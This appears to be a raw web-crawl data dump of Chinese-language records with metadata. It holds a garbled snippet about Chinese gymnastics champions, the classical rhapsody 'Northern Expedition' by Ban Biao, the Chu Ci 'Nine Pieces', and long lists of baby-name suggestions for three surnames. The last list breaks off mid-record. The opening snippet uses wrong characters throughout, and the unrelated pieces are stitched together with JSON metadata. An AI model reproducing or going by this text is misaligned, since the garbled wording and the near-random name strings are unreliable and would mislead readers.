王雅静像万能王杨威、鞍马王肖钦、吊环王陈一斌、双杠王李小鹏、以至再有自正在体操王邹凯……现正在,这些守旧仍旧王位不保。2008年给中邦体操男队带来了众个\"王\",仅仅正在亚洲?","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.shop1210.com\/CBA\/313.html","date":"2019-03-26T22:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912206677.94\/warc\/CC-MAIN-20190326220507-20190327002507-00400.warc.gz","language":"lzh","language_score":0.8769476414,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8769476413726807, \"cmn_Hani_score\": 0.07018176466226578, \"nan_Hani_score\": 0.05269349366426468}","num_words":111,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.891,"perplexity_score":500.0,"cluster_detection":1} +{"text":"班彪賦選\n北征賦\n餘遭世之顛覆兮,罹填塞之阨災。舊室滅以丘墟兮,曾不得乎少留。遂奮袂以北征兮,超絕跡而遠遊。\n朝發軔於長都兮,夕宿瓠谷之玄宮。曆雲門而反顧,望通天之崇崇。乘陵崗以登降,息郇邠之邑鄉。慕公劉之遺德,及行葦之不傷。彼何生之優渥,我獨罹此百殃?故時會之變化兮,非天命之靡常。\n登赤須之長阪,入義渠之舊城。忿戎王之淫狡,穢宣後之失貞。嘉秦昭之討賊,赫斯怒以北征。紛吾去此舊都兮,騑遲遲以曆茲。\n遂舒節以遠逝兮,指安定以為期。涉長路之綿綿兮,遠紆回以樛流。過泥陽而太息兮,悲祖廟之不修。釋余馬于彭陽兮,且弭節而自思。日晻晻其將暮兮,睹牛羊之下來。寤曠怨之傷情兮,哀詩人之歎時。\n越安定以容與兮,遵長城之漫漫。劇蒙公之疲民兮,為強秦乎築怨。舍高亥之切憂兮,事蠻狄之遼患。不耀德以綏遠,顧厚固而繕藩。首身分而不寤兮,猶數功而辭鱤。何夫子之妄說兮,孰雲地脈而生殘。\n登鄣隧而遙望兮,聊須臾以婆娑。閔獯鬻之猾夏兮,吊尉漖於朝那。從聖文之克讓兮,不勞師而幣加。惠父兄于南越兮,黜帝號于尉他。降幾杖於藩國兮,折吳濞之逆邪。惟太宗之蕩蕩兮,豈曩秦之所圖。\n隮高平而周覽,望山谷之嵯峨。野蕭條以莽蕩,迥千里而無家。風猋發以漂遙兮,谷水灌以揚波。飛雲霧之杳杳,涉積雪之皚皚。雁邕邕以群翔兮,□雞鳴以嚌嚌。\n遊子悲其故鄉,心愴悢以傷懷。撫長劍而慨息,泣漣落而沾衣。攬餘涕以於邑兮,哀生民之多故。夫何陰曀之不陽兮,嗟久失其平度。諒時運之所為兮,永伊鬱其誰愬?\n亂曰:夫子固窮遊藝文兮,樂以忘憂惟聖賢兮?達人從事有儀則兮,行止屈申與時息兮?君子履信無不居兮,雖之蠻貊何憂懼兮?","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/yasue.cc\/ban_biu.html","date":"2019-03-23T04:50:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202723.74\/warc\/CC-MAIN-20190323040640-20190323062640-00406.warc.gz","language":"lzh","language_score":0.56399405,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.5639940500259399, \"cmn_Hani_score\": 0.1535772830247879, \"nan_Hani_score\": 0.09934097528457642, \"yue_Hani_score\": 0.028909271582961082, \"jpn_Jpan_score\": 0.018979275599122047, \"zxx_Latn_score\": 0.017168832942843437, \"wuu_Hani_score\": 0.01665525697171688}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭九章 屈原\n惜誦\n惜誦以致愍兮,發憤以抒情。所作忠而言之兮,指蒼天以為正。令五帝以㭊中兮,戒六神與嚮服。俾山川以備御兮,命咎繇使聽直。竭忠誠以事君兮,反離群而贅肬。忘儇媚以背眾兮,待明君其知之。言與行其可迹兮,情與貌其不變。故相臣莫若君兮,所以證之不遠。吾誼先君而後身兮,羌眾人之所仇。專惟君而無他兮,又眾兆之所讎。壹心而不豫兮,羌不可保也。疾親君而無他兮,有招禍之道也。思君其莫我忠兮,忽亡身之賤貧。事君而不貳兮,迷不知寵之門。忠何罪以遇罰兮,亦非余心之所志。行不群以巔越兮,又眾兆之所咍。紛逢尤以離謗兮,謇不可釋。情沈抑而不達兮,又蔽而莫之白。心鬱邑余侘傺兮,又莫察余之中情。固煩言不可結詒兮,願陳志而無路。退靜默而莫余知兮,進號呼又莫吾聞。申侘傺之煩惑兮,中悶瞀之忳忳。昔余夢登天兮,魂中道而無杭。吾使厲神占之兮,曰:「有志極而無旁。」「終危獨以離異兮」,曰:「君可思而不可恃。故眾口其鑠金兮,初若是而逢殆。懲於羹者而吹𩐎兮,何不變此志也?欲釋階而登天兮,猶有曩之態也。眾駭遽以離心兮,又何以為此伴也?同極而異路兮,又何以為此援也?晉申生之孝子兮,父信讒而不好。行婞直而不豫兮,鮌功用而不就。」吾聞作忠以造怨兮,忽謂之過言。九折臂而成醫兮,吾至今而知其信然。矰弋機而在上兮,罻羅張而在下。設張辟以娛君兮,願側身而無所。欲儃佪以干傺兮,恐重患而離尤。欲高飛而遠集兮,君罔謂汝何之?欲橫奔而失路兮,堅志而不忍。背膺牉以交痛兮,心鬱結而紆軫。檮木蘭以矯蕙兮,糳申椒以為糧。播江離與滋菊兮,願春日以為糗芳。恐情質之不信兮,故重著以自明。矯玆媚以私處兮,願曾思而遠身。\n涉江\n余幼好此奇服兮,年既老而不衰。帶長鋏之陸離兮,冠切雲之崔嵬。被明月兮珮寶璐。世溷濁而莫余知兮,吾方高馳而不顧。駕青虯兮驂白螭,吾與重華遊兮瑤之圃。登崑崙兮食玉英,與天地兮同壽,與日月兮同光。哀南夷之莫吾知兮,旦余濟乎江湘。乘鄂渚而反顧兮,欸秋冬之緒風。步余馬兮山皋,邸余車兮方林。乘舲船余上沅兮,齊吳榜以擊汰。船容與而不進兮,淹回水而疑滯。朝發枉陼兮,夕宿辰陽。苟余心其端直兮,雖僻遠之何傷。入漵浦余儃佪兮,迷不知吾所如。深林杳以冥冥兮,猨狖之所居。山峻高以蔽日兮,下幽晦以多雨。霰雪紛其無垠兮,雲霏霏而承宇。哀吾生之無樂兮,幽獨處乎山中。吾不能變心而從俗兮,固將愁苦而終窮。接輿髡首兮,桑扈臝行。忠不必用兮,賢不必以。伍子逢殃兮,比干菹醢。與前世而皆然兮,吾又何怨乎今之人!余將董道而不豫兮,固將重昬而終身!\n亂曰:鸞鳥鳳皇日以遠兮,燕雀烏鵲巢堂壇兮,露申辛夷死林薄兮,腥臊並御芳不得薄兮,陰陽易位時不當兮,懷信侘傺忽乎吾將行兮!\n哀郢\n皇天之不純命兮,何百姓之震愆?民離散而相失兮,方仲春而東遷。去故鄉而就遠兮,遵江夏以流亡。出國門而軫懷兮,甲之鼂吾以行。發郢都而去閭兮,荒忽其焉極?楫齊揚以容與兮,哀見君而不再得。望長楸而太息兮,涕淫淫其若霰。過夏首而西浮兮,顧龍門而不見。心嬋媛而傷懷兮,眇不知其所蹠。順風波以從流兮,焉洋洋而為客。淩陽侯之氾濫兮,忽翱翔之焉薄。心絓結而不解兮,思蹇產而不釋。將運舟而下浮兮,上洞庭而下江。去終古之所居兮,今逍遙而來東。羌靈䰟之欲歸兮,何須臾而忘反。背夏浦而西思兮,哀故都之日遠。登大墳以遠望兮,聊以舒吾憂心。哀州土之平樂兮,悲江介之遺風。當陵陽之焉至兮,淼南渡之焉如?曾不知夏之為丘兮,孰兩東門之可蕪?心不怡之長久兮,憂與愁其相接。惟郢路之遼遠兮,江與夏之不可涉。忽若去不信兮,至今九年而不復。慘鬱鬱而不通兮,蹇侘傺而含慼。外承歡之汋約兮,諶荏弱而難持。忠湛湛而願進兮,妒被離而鄣之。堯舜之抗行兮,瞭杳杳而薄天。眾讒人之嫉妒兮,被以不慈之偽名。憎慍惀之脩美兮,好夫人之忼慨。眾踥蹀而日進兮,美超遠而逾邁。\n亂曰:曼余目以流觀兮,冀壹反之何時。鳥飛反故鄉兮,狐死必首丘。信非吾罪而棄逐兮,何日夜而忘之!\n抽思\n心鬱鬱之憂思兮,獨永歎乎增傷。思蹇產之不釋兮,曼遭夜之方長。悲秋風之動容兮,何回極之浮浮。數惟蓀之多怒兮,傷余心之懮懮。願搖起而橫奔兮,覽民尤以自鎮。結微情以陳詞兮,矯以遺夫美人。昔君與我誠言兮,曰黃昬以為期。羌中道而回畔兮,反既有此他志。憍吾以其美好兮,覽余以其脩姱。與余言而不信兮,蓋為余而造怒。願承閒而自察兮,心震悼而不敢;悲夷猶而冀進兮,心怛傷之憺憺。玆歷情以陳辭兮,蓀詳聾而不聞。固切人之不媚兮,眾果以我為患。初吾所陳之耿著兮,豈至今其庸亡?何毒藥之謇謇兮?願蓀美之可完。望三五以為像兮,指彭咸以為儀。夫何極而不至兮,故遠聞而難虧。善不由外來兮,名不可以虛作。孰無施而有報兮,孰不實而有穫?少歌曰:與美人抽怨兮,并日夜而無正。憍吾以其美好兮,敖朕辭而不聽。倡曰:有鳥自南兮,來集漢北。好姱佳麗兮,牉獨處此異域。既惸獨而不群兮,又無良媒在其側。道卓遠而日忘兮,願自申而不得。望北山而流涕兮,臨流水而太息。望孟夏之短夜兮,何晦明之若歲!惟郢路之遼遠兮,䰟一夕而九逝。曾不知路之曲直兮,南指月與列星。願徑逝而未得兮,䰟識路之營營。何靈䰟之信直兮,人之心不與吾心同!理弱而媒不通兮,尚不知余之從容。\n亂曰:長瀨湍流,泝江潭兮。狂顧南行,聊以娛心兮。軫石崴嵬,蹇吾願兮。超回志度,行隱進兮。低佪夷猶,宿北姑兮。煩冤瞀容,實沛徂兮。愁歎苦神,靈遙思兮。路遠處幽,又無行媒兮。道思作頌,聊以自救兮。憂心不遂,斯言誰告兮。\n懷沙\n滔滔孟夏兮,草木莽莽。傷懷永哀兮,汩徂南土。眴兮杳杳,孔靜幽默。鬱結紆軫兮,離愍而長鞠。撫情効志兮,冤屈而自抑。刓方以為圜兮,常度未替。易初本迪兮,君子所鄙。章畫志墨兮,前圖未改。內厚質正兮,大人所盛。巧倕不斲兮,孰察其撥正。玄文處幽兮,矇瞍謂之不章;離婁微睇兮,瞽以為無明。變白以為黑兮,倒上以為下。鳳皇在笯兮,雞鶩翔舞。同糅玉石兮,一槩而相量。夫惟黨人鄙固兮,羌不知余之所臧。任重載盛兮,陷滯而不濟。懷瑾握瑜兮,窮不知所示。邑犬之群吠兮,吠所怪也。非俊疑傑兮,固庸態也。文質疏內兮,眾不知余之異采。材朴委積兮,莫知余之所有。重仁襲義兮,謹厚以為豐。重華不可遌兮,孰知余之從容!古固有不竝兮,豈知其何故?湯禹久遠兮,邈而不可慕。懲連改忿兮,抑心而自強。離慜而不遷兮,願志之有像。進路北次兮,日昧昧其將暮。舒憂娛哀兮,限之以大故。\n亂曰:浩浩沅湘,分流汨兮。脩路幽蔽,道遠忽兮。懷質抱情,獨無匹兮。伯樂既沒,驥焉程兮?萬民之生,各有所錯兮。定心廣志,余何畏懼兮?曾傷爰哀,永歎喟兮。世溷濁莫吾知,人心不可謂兮。知死不可讓,願勿愛兮。明告君子,吾將以為類兮。\n思美人\n思美人兮,擥涕而佇竚眙。媒絕路阻兮,言不可結而詒。蹇蹇之煩冤兮,陷滯而不發。申旦以舒中情兮,志沈菀而莫達。願寄言於浮雲兮,遇豐隆而不將。因歸鳥而致辭兮,羌迅高而難當。高辛之靈盛兮,遭玄鳥而致詒。欲變節以從俗兮,媿易初而屈志。獨歷年而離愍兮,羌馮心猶未化。寧隱閔而壽考兮,何變易之可為!知前轍之不遂兮,未改此度。車既覆而馬顛兮,蹇獨懷此異路。勒騏驥而更駕兮,造父為我操之。遷逡次而勿驅兮,聊假日以須旹。指嶓冢之西隈兮,與纁黃以為期。開春發歲兮,白日出之悠悠。吾將蕩志而愉樂兮,遵江夏以娛憂。擥大薄之芳茞兮,搴長洲之宿莽。惜吾不及古人兮,吾誰與玩此芳草?解萹薄與雜菜兮,備以為交佩。佩繽紛以繚轉兮,遂萎絕而離異。吾且儃佪以娛憂兮,觀南人之變態。竊快在中心兮,揚厥憑而不竢。芳與澤其雜糅兮,羌芳華自中出。紛郁郁其遠承兮,滿內而外揚。情與質信可保兮,羌居蔽而聞章。令薜荔以為理兮,憚舉趾而緣木。因芙蓉而為媒兮,憚蹇裳而濡足。登高吾不說兮,入下吾不能。固朕形之不服兮,然容與而狐疑。廣遂前畫兮,未改此度也。命則處幽,吾將罷兮,願及白日之未暮。獨焭焭而南行兮,思彭咸之故也。\n惜往日\n惜往日之曾信兮,受命詔以昭詩。奉先功以照下兮,明法度之嫌疑。國富強而法立兮,屬貞臣而日娭。秘密事之載心兮,雖過失猶弗治。心純庬而不泄兮,遭讒人而嫉之。君含怒而待臣兮,不清澈其然否。蔽晦君之聰明兮,虛惑誤又以欺。弗參驗以考實兮,遠遷臣而弗思。信讒諛之溷濁兮,盛氣志而過之。何貞臣之無辠兮,被離謗而見尤。慙光景之誠信兮,身幽隱而備之。臨沅湘之玄淵兮,遂自忍而沈流。卒沒身而絕名兮,惜壅君之不昭。君無度而弗察兮,使芳草為藪幽。焉舒情而抽信兮,恬死亡而不聊。獨鄣壅而蔽隱兮,使貞臣為無由。聞百里之為虜兮,伊尹烹於庖廚。呂望屠於朝歌兮,甯戚歌而飯牛。不逢湯武與桓繆兮,世孰云而知之。吳信讒而弗味兮,子胥死而後憂。介子忠而立枯兮,文君寤而追求。封介山而為之禁兮,報大德之優游。思久故之親身兮,因縞素而哭之。或忠信而死節兮,或訑謾而不疑。弗省察而按實兮,聽讒人之虛辭。芳與澤其雜糅兮,孰申旦而別之?何芳草之早殀兮,微霜降而下戒。諒聰不明而蔽壅兮,使讒諛而日得。自前世之嫉賢兮,謂蕙若其不可佩。妒佳冶之芬芳兮,𡠜母姣而自好。雖有西施之美容兮,讒妒入以自代。願陳情以白行兮,得罪過之不意。情冤見之日明兮,如列宿之錯置。乘騏驥而馳騁兮,無轡銜而自載;乘氾泭以下流兮,無舟楫而自備。背法度而心治兮,辟與此其無異。寧溘死而流亡兮,恐禍殃之有再。不畢辭而赴淵兮,惜壅君之不識。\n橘頌\n后皇嘉樹,橘徠服兮。受命不遷,生南國兮。深固難徙,更壹志兮。綠葉素榮,紛其可喜兮。曾枝剡棘,圓果摶兮。青黃雜糅,文章爛兮。精色內白,類可任兮。紛縕宜脩,姱而不醜兮。嗟爾幼志,有以異兮。獨立不遷,豈不可喜兮?深固難徙,廓其無求兮。蘇世獨立,橫而不流兮。閉心自慎,不終失過兮。秉德無私,參天地兮。願歲并謝,與長友兮。淑離不淫,梗其有理兮。年歲雖少,可師長兮。行比伯夷,置以為像兮。\n悲回風\n悲回風之搖蕙兮,心冤結而內傷。物有微而隕性兮,聲有隱而先倡。夫何彭咸之造思兮,暨志介而不忘!萬變其情豈可蓋兮,孰虛偽之可長!鳥獸鳴以號群兮,草苴比而不芳。魚葺鱗以自別兮,蛟龍隱其文章。故荼薺不同畝兮,蘭茞幽而獨芳。惟佳人之永都兮,更統世而自貺。眇遠志之所及兮,憐浮雲之相羊。介眇志之所惑兮,竊賦詩之所明。惟佳人之獨懷兮,折若椒以自處。曾歔欷之嗟嗟兮,獨隱伏而思慮。涕泣交而凄凄兮,思不眠以至曙。終長夜之曼曼兮,掩此哀而不去。寤從容以周流兮,聊逍遙以自恃。傷太息之愍憐兮,氣於邑而不可止。糺思心以為纕兮,編愁苦以為膺。折若木以蔽光兮,隨飄風之所仍。存髣髴而不見兮,心踊躍其若湯。撫珮衽以案志兮,超惘惘而遂行。歲曶曶其若頹兮,時亦冉冉而將至。薠蘅槁而節離兮,芳以歇而不比。憐思心之不可懲兮,證此言之不可聊。寧溘死而流亡兮,不忍為此之常愁。孤子吟而抆淚兮,放子出而不還。孰能思而不隱兮,照彭咸之所聞。登石巒以遠望兮,路眇眇之默默。入景響之無應兮,聞省想而不可得。愁鬱鬱之無快兮,居戚戚而不可解。心鞿羈而不形兮,氣繚轉而自締。穆眇眇之無垠兮,莽芒芒之無儀。聲有隱而相感兮,物有純而不可為。藐蔓蔓之不可量兮,縹緜緜之不可紆。愁悄悄之常悲兮,翩冥冥之不可娛。淩大波而流風兮,託彭咸之所居。上高巖之峭岸兮,處雌蜺之標顛。據青冥而攄虹兮,遂儵忽而捫天。吸湛露之浮源兮,漱凝霜之雰雰。依風穴以自息兮,忽傾寤以嬋媛。馮崑崙以瞰霧兮,隱㞶山以清江。憚涌湍之礚礚兮,聽波聲之洶洶。紛容容之無經兮,罔芒芒之無紀。軋洋洋之無從兮,馳委移之焉止。漂翻翻其上下兮,翼遙遙其左右。氾潏潏其前後兮,伴張㢮之信期。觀炎氣之相仍兮,窺煙液之所積。悲霜雪之俱下兮,聽潮水之相擊。借光景以往來兮,施黃棘之枉策。求介子之所存兮,見伯夷之放迹。心調度而弗去兮,刻著志之無適。曰:吾怨往昔之所冀兮,悼來者之悐悐。浮江淮而入海兮,從子胥而自適。望大河之洲渚兮,悲申徒之抗迹。驟諫君而不聽兮,重任石之何益。心絓結而不解兮,思蹇產而不釋。","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i01\/04.htm","date":"2019-05-19T09:38:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232254731.5\/warc\/CC-MAIN-20190519081519-20190519103519-00308.warc.gz","language":"lzh","language_score":0.8260487914,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.8260487914085388, \"nan_Hani_score\": 0.07256369292736053, \"cmn_Hani_score\": 0.013187989592552185, \"zxx_Latn_score\": 0.012726024724543095}","num_words":24,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.453,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n何晨郡 何寅 何雅君 何雅筠 何念曦 何昊茏 何昊珑 何念皙 何昊龙 何念唏 何毅海 何韫萱 何紫沅 何楚沅 何楚昀 何晋 何彦祖 何世云 何鹏 何万国 何翰谦 何铭祖 何宇祖 何裕祖 何昊彦 何健祖 何柏祖 何泠萱 何一福 何玮柏 何蕾 何紫彤 何楚蕙 何兰凤 何奕祖 何振祖 何淇锐 何劲松 何承明 何明明 何奇锐 何木弱 何至弱 何东啸 何倍锐 何启弱 何予弱 何其弱 何其然 何棋 何锐 何其 何纪双 何冰 何兆林 何兆灵 何奇灵 何德海 何美灵 何嘉灵 何伟 何萁灵 何文君 何楚 何瑞武 何建光 何嘉烨 何易明 何启灵 何其林 何其灵 何愚 何艾霖 何永强 何晓 何黎 何果 何栗 何骜博 何骜一 何荣 何富存 何浩 何天黎 何蓓 何宗礼 何立源 何金存 何朴 何利辉 何世光 何含丹 何彬銮 何光洪 何忠坪 何垭愉 何金川 何金选 何林成 何忠平 何俊 何少铭 何氦刚 何氦港 何氦纲 何嗨纲 何嗨港 何海冈 何海缸 何海扛 何海罡 何海纲 何海钢 何海江 何海刚 何林 何海岗 何励聪 何疆霖 何江霖 何江苓 何潇励 何姜苓 何海港 何培佩 何立新 何立坚 何啊法 何冬凤 何孔健 何庆魁 何利典 何剑鹏 何晓华 何勇军 何姜霖 何姜凌 何礼函 何炅 何漪萱 何欣光 何忆萱 何驿萱 何弈萱 何昕 何奕萱 何佚萱 何绎萱 何毅萱 何亚峰 何薏萱 何礼涵 何东 何涵礼 何龙 何彦锋 何林泽 何庶君 何兴碧 何福涛 何函霏 何少小 何昕营 何立峰 何昀营 何熙韬 何映驹 何晟铭 何俊霆 何容 何文杰 何润华 何慧茗 何末根 何丽华 何宛琪 何德才 何兴淑 何宛亭 何星叔 何天龙 何孔俭 何月凯 何炫佑 何孔建 何义华 何丽诗 何宪清 何琦钰 何其钰 何兰 何锟 何森新 何金兴 何胜 何栩 何卓 何铭利 何志强 何志光 何致熙 何妁海 何谳 何应彪 何銮 何霖俐 何言鑫 何鹪 何心绛 何其睿 何平 何珊 何家灵 何昱 何和 何灵 何静 何静竞 何进 何流 何刘 何金 何柳 何畅 何金凤 何嘉 何先婕 何新苗 何荣武 何睿 何敬莲 何塬 何少戆 何炼炼 何少绛 何炼 何方明 何月滢 何舟其 何忠伟 何馨 何彦 何新彦 何文珠 何梦影 何宏伟 何萌 何余 何家洪 何思琦 何方 何风景 何桢 何思远 何安其 何思其 何诗琪 何思琪 何颖琦 何颖颀 何引琪 何颖奇 何影其 何颖琪 何颖其 何远豪 何咳 何永毅 何克金 何扑金 何家金 何天民 何卫军 何咳金 何晨 何仙超 何强 何天添 何能","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/bbb681.cn\/show_1Q0.aspx","date":"2019-05-20T03:32:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255536.6\/warc\/CC-MAIN-20190520021654-20190520043654-00390.warc.gz","language":"lzh","language_score":0.9987556934,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.998755693435669}","num_words":280,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n舒维桢 舒诚杰 舒诚捷 舒放 舒先湘 舒温州 舒风雨 舒义波 舒科杰 舒熠 舒严 舒沿 舒行敏 舒桂荣 舒卫平 舒小凤 舒展云 舒美莲 舒晓军 舒浩东 舒春原 舒河亲 舒河棋 舒河淀 舒河爱 舒叫爱 舒书爱 舒书洋 舒书曼 舒逸菲 舒逸飞 舒有为 舒陈锐 舒米 舒安洪 舒泉发 舒秋菊 舒昊禺 舒景星 舒运福 舒春源 舒旖旎 舒新亚 舒滢榕 舒航辉 舒杰辉 舒金博 舒涵洋 舒海洋 舒琨昊 舒小静 舒跃峰 舒涵亚 舒涵益 舒东平 舒益涵 舒星景 舒俊成 舒湘成 舒相成 舒敬锋 舒隽茵 舒隽佳 舒隽永 舒隽咏 舒振高 舒焱 舒岳 舒麒畅 舒轩骅 舒雯析 舒轩辰 舒沁彦 舒逸华 舒丹钰 舒振祥 舒易军 舒小会 舒荣辉 舒小龙 舒春铼 舒玉伟 舒海 舒子函 舒淇云 舒鑫洋 舒睿智 舒智星 舒智盟 舒旭东 舒智旭 舒智育 舒旨 舒智 舒哲举 舒泽举 舒泽铭 舒泽名 舒哲名 舒哲民 舒太咏 舒泰永 舒太勇 舒敬龙 舒广伦 舒重骏 舒重竣 舒重峻 舒重俊 舒小宝 舒歆艺 舒清妮 舒荔清 舒清荔 舒友仙 舒佳琪 舒柠童 舒弘 舒崇刚 舒存存 舒华群 舒国栋 舒子懿 舒诺轩 舒辟峰 舒冠雄 舒振 舒云虎 舒红波 舒琦儿 舒世惠 舒鹏源 舒佑涵 舒羽涵 舒余涵 舒禹涵 舒亦涵 舒乙涵 舒涵婉 舒婉涵 舒翌涵 舒亚涵 舒雯涵 舒宛涵 舒涵容 舒卫刚 舒鸿波 舒依萌 舒德志 舒德全 舒世旭 舒世奇 舒世煜 舒瞰 舒柯涵 舒廷菊 舒美惠 舒舍予 舒湘云 舒翠兰 舒腾艺 舒嘉慧 舒翼凡 舒倚凡 舒益凡 舒亦凡 舒仪凡 舒衣凡 舒亿凡 舒已凡 舒以凡 舒易凡 舒妙贤 舒翌阳 舒验辉 舒子力 舒天祺 舒子可 舒合源 舒光富 舒日明 舒瀚荭 舒潇荭 舒伟涛 舒伟良 舒忠标 舒少丹 舒西龙 舒昭嘉 舒韵丹 舒静静 舒雅雯 舒淇淇 舒郝淇 舒胤杰 舒显全 舒耀庆 舒晓明 舒小余 舒逸达 舒哲铭 舒宏林 舒柃 舒篥 舒漓 舒礼 舒悝 舒砾 舒跞 舒醴 舒鬲 舒粒 舒坜 舒予然 舒梦帆 舒睿霖 舒风 舒宇伦 舒藜 舒俐 舒犁 舒历 舒栗 舒瑜 舒璃 舒黧 舒黎黧 舒鸾黧 舒鸾莅 舒鸾礼 舒鸾栎 舒鸾笠 舒鸾藜 舒鸾璃 舒鸾郦 舒鸾俪 舒鸾厘 舒鸾理 舒鸾里 舒鸾荔 舒鸾逸 舒鸾犁 舒鸾梨 舒鹂 舒钰淳 舒天宝 舒天雄 舒年水 舒宏临 舒鸿临 舒谷辰 舒漫 舒宏元 舒乾峰 舒启睿 舒炳君 舒国海 舒子桓 舒小莲 舒士玺 舒锦晖 舒竟 舒盎然 舒开宸 舒慕源 舒慕逵 舒慕白 舒慕轩 舒慕伟 舒秋儿 舒曦 舒峰先 舒安敏 舒承卿 舒开科 舒永松 舒卫鹏 舒祥 舒向伟 舒伟宏 舒伟洪 舒伟捷 舒正伟 舒昌芮 舒启航 舒跃宸 舒志坚 舒甲珍 舒显君 舒加斌 舒子欣 舒诗羽 舒邹宁 舒洁金 舒琛朗 舒莘荃 舒海 舒俊锋 舒志刚 舒工卜","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.j681.cn\/show_1EQ.aspx","date":"2019-05-25T19:09:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258439.57\/warc\/CC-MAIN-20190525184948-20190525210948-00554.warc.gz","language":"lzh","language_score":0.4872010648,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.487201064825058, \"nan_Hani_score\": 0.27247992157936096, \"yue_Hani_score\": 0.05882622301578522, \"cmn_Hani_score\": 0.05326128005981445, \"und_Cher_score\": 0.027198342606425285}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n江义 江贻 江振鹏 江东忆 江勇澈 江东瑜 江东寓 江东语 江东羽 江东锦 江东景 江东静 江东延 江东阳 江明潞 江潞明 江依玻 江依知 江依泽 江非泽 江泽非 江泽泽 江非非 江雨昆 江道节 江君凝 江春贤 江子凝 江子凌 江子裙 江子群 江子君 江君涵 江君泞 江泰锍 江熙骏 江益民 江华贵 江泰贤 江振豪 江振昊 江佳爱 江育升 江吉飞 江翼 江紫淇 江紫烟 江子渊 江天乐 江芝薇 江恬欣 江兴振 江长生 江雯慧 江昱锴 江光辉 江汶鑫 江汶铄 江朕锴 江凯朕 江秋铁 江秋苏 江秋岩 江秋观 江秋湾 江秋锣 江秋滟 江秋鹳 江秋鸾 江佳鸾 江佳滟 江佳锣 江佳湾 江佳观 江佳岩 江佳苏 江如苏 江如素 江如岩 江如观 江朕凯 江如湾 江如锣 江如滟 江如鹳 江如鸾 江四鸾 江四鹳 江四滟 江四锣 江四湾 江四观 江四岩 江四苏 江四铁 江四宝 江四织 江四点 江四整 江四齐 江抱溪 江如海 江汗青 江善水 江采乐 江未来 江爱华 江春春 江东贤 江宝宝 江小春 江子昂 江灏 江东权 江唤来 江泰来 江文慧 江丽清 江沛毅 江丽明 江沛海 江柏轩 江柏伦 江焕龙 江芊 江丛刚 江东学 江东刚 江美圆 江治贤 江聆溪 江姿慧 江轶伟 江海春 江海飞 江青桐 江鑫琦 江近山 江尽山 江乐山 江西岩 江妮胤 江松耘 江昀胤 江美君 江之源 江忠霖 江潍君 江颜冰 江匀昊 江奕霏 江天昊 江天皓 江美桦 江晓舰 江晓键 江晓见 江晓健 江晓冠 江晓界 江忻莲 江成就 江小驹 江忻桦 江就 江忻桐 江晓晶 江沃桐 江云昌 江代华 江侃 江一鑫 江泽荣 江海民 江梅菲 江枚菲 江美心 江毅亭 江岷阳 江科霖 江政源 江岷珉 江依遥 江承阳 江林蔚 江尚骏 江翠竹 江袁静 江瑞福 江弘淋 江弘林 江沂诺 江海璇 江哧箔 江滔 江明璐 江虹舟 江丁丁 江桃元 江屹 江四琛 江如铁 江如宝 江如辞 江如织 江如点 江如整 江如齐 江如琛 江如邵 江如生 江佳铁 江佳宝 江佳辞 江秋齐 江秋邵 江秋瓷 江秋秋 江秋姗 江秋珊 江求珊 江齐铁 江齐宝 江洁伶 江齐辞 江齐织 江墉 江齐点 江齐整 江乐乐 江庸 江齐齐 江齐琛 江蛹 江齐邵 江齐瓷 江齐珊 江齐姗 江齐秋 江咏 江齐贝 江齐如 江齐生 江齐四 江永乐 江庆国 江齐三 江整三 江整铁 江整宝 江整辞 江整织 江整点 江整整 江整齐 江整琛 江整邵 江整瓷 江整秋 江整姗 江整珊 江东润 江整贝 江整如 江整生 江整四 江秋四 江点宝 江点辞 江点织 江点点 江点整 江点齐 江点琛 江点邵 江点瓷 